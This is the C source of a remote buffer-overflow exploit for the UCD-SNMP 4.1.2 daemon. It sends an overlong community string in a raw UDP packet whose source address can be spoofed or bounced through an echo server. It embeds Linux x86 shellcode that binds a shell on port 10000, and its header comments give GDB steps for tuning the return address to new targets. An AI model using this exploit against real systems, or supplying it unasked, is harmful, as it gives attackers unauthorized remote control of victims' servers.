/*--------------------------------------------------------------------------*
 *	Exploits bugs in community string overflows for snmp implementations	*
 *	Coded by:	Jove (jove@halo.nu)											*
 *	Portions provided by:	RPC, and Zen-Parse								*
 *--------------------------------------------------------------------------*/

/*--------------------------------------------------------------------------*
 *	Explanation:															*
 *	As found by the Protos project, many implementations of SNMP are		*
 *	fallible to overly-long community strings.  In some implementations		*
 *	it is possible to use this to take control over the system snmpd is		*
 *	is running on.  This program is an implementation of how such community	*
 *	strings might be used to take over said system.  The framework here has	*
 *	been designed to be extensible to encompass exploitation over multiple	*
 *	snmp implementations, over multiple architectures, and with the			*
 *	the possibility to evade IDS implementations.  If someone does extend	*
 *	this code through targets, or actual code update I ask that they share	*
 *	it with me (jove@halo.nu) and all persons involved if they wish can		*
 *	share with others that send in code fixes so that this exploit can be	*
 *	fine tuned.  RPC provided the framework for which to send the packets	*
 *	that is used with slight modifications by myself, I extended it into	*
 *	this exploit which is much more extendable, and has a working target,	*
 *	made it easier to use and nicer to look at, added support for multiple	*
 *	targets, and ripped out ugly things such as globals.  Here are some		*
 *	instructions to get it working on your implementation of ucd-snmpd and	*
 *	others that derrive their snmp parsing code from ucd's implementation.	*
 *--------------------------------------------------------------------------*
 *	Required values for successful exploitation on x86 arch ucd-snmp:		*
 *	1.)	rets_position														*
 *	2.) ret_address															*
 *--------------------------------------------------------------------------*
 *	Easy way to obtain 1:													*
 *	A.)	Run GDB with the path to snmp ie: gdb `which snmpd`					*
 *	B.) At the <gdb> type run												*
 *	C.)	Run this exploit against the host with snmpd running on it.			*
 *	D.)	GDB should error out saying Segmentation Fault with an address.		*
 *	E.)	Take the farthest right hex digits and convert to decimal.			*
 *	F.) This will be your rets_position... if the buffer is bigger than	256	*
 *		you may need to multiply it by 0xff X times where X <= bufsize / 255*
 *--------------------------------------------------------------------------*
 *	Easy way to obtain 2:													*
 *	A.) Run GDB with the path to snmpd ie: gdb `which snmpd`				*
 *	B.)	at prompt type break _snmp_parse									*
 *	C.)	type run															*
 *	D.)	run exploit against system running the snmpd you're debugging		*
 *	E.)	when it gets to the breakpoint type print &data						*
 *	F.)	add about 100 to this address and you have your ret_address			*
 *--------------------------------------------------------------------------*
 *	The methodology for anything other than a linux running ucd-snmpd is	*
 *	beyond the scope of these comments, and I refer you to phrack 49 for	*
 *	more information.														*
 *--------------------------------------------------------------------------*/
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/types.h>
#include <sys/socket.h>

/*---	Local Defines	---*/
#define ASN1_SZ 11
#define ASN2_SZ 36
#define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr)
#define PACKET_SZ ASN1_SZ + ASN2_SZ
#define MAX_BUFF	4096
/*-------------------------*/

/*---	A structure to hold exploitation values	---*
 *---	so one program can exploit multiple		---*
 *---	targets.								---*/
struct target_os {
  char *description;		//String description of OS.
  char *shellcode;			//Pointer to shellcode for OS.
  int buffer_size;			//Size of buffer we're exploiting.
  int rets_position;		//Position in buffer of value that the snmpd will use as a ret address
  u_int32_t ret_address;	//Address to have function to return into
  char nop;					//NO-Operation instruction to use
};
/*-------------------------------------------------*/


/*---	asn1 gets inserted before our communiy string,	---*
 *---	asn2 gets inserted after our community string.	---*
 *---	these values were taken from RPC's code.		---*/
char snmp_asn1[] =	"\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00";		//11 bytes 
char snmp_asn2[] =	"\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01"
					"\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c"
					"\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00";	//36 bytes
/*---------------------------------------------------------*/

/*---	Zen-parse's port 10,000 port-binding Linux Shellcode	---*/
char zenparse_code[] =
"\x31\xc0\x31\xdb\x89\xe5\x99\xb0\x66\x89\x5d\xfc\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x8d\x4d\xf4\xcd\x80\x89\x45\xf4\x43\x66\x89"
"\x5d\xec\x66\xc7\x45\xee\x27\x10\x89\x55\xf0\x8d\x45\xec\x89\x45"
"\xf8\xc6\x45\xfc\x10\xb2\x66\x89\xd0\x8d\x4d\xf4\xcd\x80\x89\xd0"
"\xb3\x04\xcd\x80\x43\x89\xd0\x99\x89\x55\xf8\x89\x55\xfc\xcd\x80"
"\x31\xc9\x89\xc3\xb1\x03\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
/*-----------------------------------------------------------------*/

/*---	Function prototypes		---*/
unsigned short in_cksum(u_short *, int);	//Standard checksum calculation code 
unsigned int resolve(char *host);	//Resolve's a host, taken from RPC due to laziness... ehrm efficiency
char *make_packet(char *, unsigned int, unsigned int, int);	//Creates snmp packet, by RPC modified by Jove
void usage(char *);	//Display's program's usage.
/*---------------------------------*/
struct target_os the_targets[]= {
//description, shellcode ptr, buffer size, Position of ret address, Address to return into, NOP to use
{"UCD-SNMP 4.1.2 / Slackware 8.0 src compilation (bindport 10,000)",zenparse_code,256,216,0xbfffd77c,0x90},
{(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} };

int
main(int argc, char *argv[])
{
	/*---	Constant definitions	---*/
	const int one = 1;
	/*---------------------------------*/
	/*---	Networking Variables	---*/
	struct sockaddr_in sin;
	u_int32_t addr;
	int sock;
	int src;
	int dst=-1;
	/*---------------------------------*/
	/*---	Exploitation Variables	---*/
	char buf[MAX_BUFF];
	char *p;
	int ret;
	int shellcodelen;
	int retpos;
	int buffersize;
	/*---------------------------------*/
	/*---	Option Handling Variables	---*/
	int arg;
	int cnt;		
	int typeosys=0;
	int debugit=0;
	int port=161;
	int echo=0;
	/*-------------------------------------*/

	if(argc < 3)
		usage(argv[0]);

	src = resolve("127.0.0.1"); 

	while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) {
		switch(arg) {
			case 'e':
				echo = 1;
				break;
			case 's':
				src = resolve(optarg);
				break;
			case 'd':
				dst = resolve(optarg);
				break;
			case 't':
				typeosys = atoi(optarg);
				break;
			case 'x':
				debugit=1;
				break;
			case 'p':
				port = atoi(optarg);
			default:
				printf("Invalid argument, %c\n",arg);
				usage(argv[0]);
		}
	}

	if(dst == -1) {
		printf("Missing destination address.\n");
		usage(argv[0]);
	}

	shellcodelen= strlen(the_targets[typeosys].shellcode);
	addr= the_targets[typeosys].ret_address;
	retpos=	the_targets[typeosys].rets_position;
	buffersize=the_targets[typeosys].buffer_size;
	
	if(buffersize>MAX_BUFF-1) {
		printf("Must increase MAX_BUFF define to something >= %d\n",buffersize);
		exit(-1);
	}

	memset(buf, the_targets[typeosys].nop, buffersize);
	memcpy(buf + retpos, &addr, sizeof(addr));
	memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen);

	if(debugit==1) {
	  for(cnt=1;cnt<buffersize;cnt++)
	    buf[cnt]=(char) cnt;
	}

	buf[buffersize] = '\0';

	p = make_packet(buf, src, dst, echo);

	/*---	Create the socket to send data on	---*/
	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(sock == -1) {
		perror("socket");
		exit(1);
	}
	/*---------------------------------------------*/

	/*---	Setup the socket's options	---*/
	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) {
		perror("setsockopt");
		exit(1);
	}
	/*-------------------------------------*/

	/*---	Setup the Socket type/dest	---*/
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = dst;
	/*-------------------------------------*/

	/*---	Send the udp packet and error check	---*/
	printf("Sending Packet...");
	ret = sendto(sock, p, HDR_SZ + PACKET_SZ + buffersize, 0, &sin, sizeof(sin));
	if(ret == -1) {
		perror("sendto");
		exit(1);
	}	
	printf("sent.\n");
	/*---------------------------------------------*/

	return(0);
}

void usage(char *cmd)
{
  int cnt;

	/*---	Print out a pretty usage and exit(0);	---*/
	printf("Snmp exploitation utility, Version 2\n");
	printf("Coding by Jove w/ segments from RPC\n");
	printf("Usage: %s <options> [-d destination]\n");
	printf("Switches:\n");
	printf("\t\t-s <IP>\n\t\t\tSource address to use.\n");
	printf("\t\t-p [Port]\n\t\t\tSpecify port to send to.\n");
	printf("\t\t-e\tDestination is an echo server (to bounce packet).\n");
	printf("\t\t  \t(Source and destination are reversed for echo mode.\n");
	printf("\t\t-x\tUse an ascending value buffer for the community string.\n");
	printf("\t\t  \t(Used for finding values to use w/ this exploit.\n");
	printf("\t\t-t#\tSpecify a target to use for packet creation\n");
	printf("\tAvailable Targets:\n");
	for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++)
	  printf("\t%d- %s\n",cnt,the_targets[cnt].description);
	exit(0);
}

unsigned short 
in_cksum(addr, len)	//Standard checksum calculation code 
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}
unsigned int resolve(char *host)	//Resolve's a host, taken from RPC due to laziness... ehrm efficiency
{
    struct hostent *he;
    unsigned int ipaddr;

    if((he = gethostbyname(host)) == NULL) {
        /* ip addr, or invalid. */
      if((ipaddr = inet_addr(host)) == -1) {
        printf("error resolving %s.\n", host);
        exit(1);
      }
      return ipaddr;
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
  return ipaddr;
}

char *
make_packet(char *buf, unsigned int src, unsigned int dst, int echo)
/*---	This code has it's roots in RPC's code however,	--*
 *---	Jove had to modify it so it didn't use globals,	--*
 *---	so buffer size could be dynamic, we seed the	--*
 *---	random number generator to randomize the ID		--*
 *---	field.											--*/  
{
	struct iphdr *ip;
	struct udphdr *udp;
	char *p;
	int bufsz;

	bufsz=strlen(buf);

	p   = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz);
	ip  = (struct iphdr *)p;
	udp = (struct udphdr *)(p + sizeof(*ip));

	ip->ihl = 5;
	ip->version = 4;
	ip->tos = 0;
	ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz);
	srand(time(NULL));
	ip->id = rand(); 
	ip->frag_off = htons(IP_DF);
	ip->ttl = 0x40;
	ip->protocol = IPPROTO_UDP;
	ip->saddr = src;
	ip->daddr = dst;
	ip->check = in_cksum((char *)ip, sizeof(*ip));

	udp->source = echo ? htons(161) : rand();
	udp->dest = echo? htons(7) : htons(161);
	udp->len = htons(PACKET_SZ + bufsz);
	udp->check = 0; 

	memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ);
	memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz);
	memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ);
	return p;
}

